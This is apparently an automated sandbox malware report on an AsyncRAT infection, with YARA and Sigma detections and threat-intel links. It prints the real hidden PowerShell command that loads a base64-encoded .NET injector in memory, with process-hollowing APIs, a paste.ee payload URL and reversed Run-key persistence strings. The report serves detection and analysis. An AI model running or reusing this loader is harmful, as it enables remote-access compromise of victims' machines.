LmRsbABLaWxsAHNldF9TZWN1cml0eVByb3RvY29sAFN5c3RlbS5TZWN1cml0eS5BY2Nlc3NDb250cm9sAFByb2dyYW0AU3lzdGVtAEdldEJpbmFyeUZvcm0ARW51bQByZXNvdXJjZU1hbgBieXRlc1dyaXR0ZW4ATWFpbgBTdGFydHVwSW5mb3JtYXRpb24AUHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbgBzZWN1cml0eUluZm9ybWF0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAFNlY3VyaXR5QWN0aW9uAEludGVyYWN0aW9uAERlbGVnYXRlWndVbm1hcFZpZXdPZlNlY3Rpb24AU3lzdGVtLlJlZmxlY3Rpb24AV2luMzJFeGNlcHRpb24ATWV0aG9kSW5mbwBDdWx0dXJlSW5mbwBzdGFydHVwSW5mbwBaZXJvAFNsZWVwAERlc2t0b3AATWljcm9zb2Z0LkNTaGFycABUYXIAQ2hhcgBNaWNyb3NvZnQuQ1NoYXJwLlJ1bnRpbWVCaW5kZXIAQ2FsbFNpdGVCaW5kZXIAQnVmZmVyAGJ1ZmZlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFNlcnZpY2VQb2ludE1hbmFnZXIAQWNlUXVhbGlmaWVyAFNlY3VyaXR5SWRlbnRpZmllcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBJbmxpbmVBc3NpZ25IZWxwZXIAR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIAQml0Q29udmVydGVyAFN0ZEVycm9yAC5jdG9yAC5jY3RvcgBHZW5lcmljU2VjdXJpdHlEZXNjcmlwdG9yAHBTZWN1cml0eURlc2NyaXB0b3IAR2V0UHJvY2Vzc1NlY3VyaXR5RGVzY3JpcHRvcgBTZXRQcm9jZXNzU2VjdXJpdHlEZXNjcmlwdG9yAFJhd1NlY3VyaXR5RGVzY3JpcHRvcgByYXdTZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAFJQRTEzLlByb3BlcnRpZXMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBSUEUxMy5Qcm9wZXJ0aWVzAGluaGVyaXRIYW5kbGVzAHRocmVhZEF0dHJpYnV0ZXMAcHJvY2Vzc0F0dHJpYnV0ZXMAR2V0Qnl0ZXMAYnl0ZXMAQWNlRmxhZ3MAY3JlYXRpb25GbGFncwBDU2hhcnBCaW5kZXJGbGFncwBTZXR0aW5ncwBTeXN0ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMAZ2V0X0NoYXJzAFJ1bnRpbWVIZWxwZXJzAGhQcm9jZXNzAHByb2Nlc3MAR2V0UHJvY0FkZHJlc3MAYWRkcmVzcwBQcm9jZXNzQWNjZXNzUmlnaHRzAENvbmNhdABPYmplY3QAb2JqZWN0AFByb3RlY3QAcHJvdGVjdABTeXN0ZW0uTmV0AFRhcmdldAB0YXJnZXQARXhpdABnZXRfRGVmYXVsdABJQXN5bmNSZXN1bHQAcmVzdWx0AFdlYkNsaWVudABFbnZpcm9ubWVudABlbnZpcm9ubWVudABDb252ZXJ0AFN0ZElucHV0AFN0ZE91dHB1dABTeXN0ZW0uVGV4dABEZWxlZ2F0ZVZpcnR1YWxBbGxvY0V4AGhleABJbml0aWFsaXplQXJyYXkAZ2V0X0Fzc2VtYmx5AEJsb2NrQ29weQBEZWxlZ2F0ZVJlYWRQcm9jZXNzTWVtb3J5AERlbGVnYXRlV3JpdGVQcm9jZXNzTWVtb3J5AGN1cnJlbnREaXJlY3RvcnkAU3lzdGVtLlNlY3VyaXR5AEdldEtlcm5lbE9iamVjdFNlY3VyaXR5AFNldEtlcm5lbE9iamVjdFNlY3VyaXR5AEVtcHR5AEtpdHR5AAAAAAA1UgBQAEUAMQAzAC4AUAByAG8AcABlAHIAdABpAGUAcwAuAFIAZQBzAG8AdQByAGMAZQBzAAAxaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBEAEIAWgBwAGgAAAMKAAAAAADOkqBVZTHoR4Gec5JuQU+kAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIFIAEBEUEFIAIBDg4FIAEBEWUIAAESgJ0RgKEFIAASgKUHIAIBDhKApQgAARKAqRKAqQUAABKA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')).EntryPoint.Invoke($Null,$Null) MD5: 04029E121A0CFA5991749937DD22A1D9)

aspnet_compiler.exe (PID: 1448 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xbaf46:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0xca376:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xc756:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000010.00000002.2427144968.0000000003405000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000010.00000002.2424988500.00000000014F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Sigma detected: Base64 MZ Header In CommandLine

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Sigma detected: Invoke-Obfuscation STDIN+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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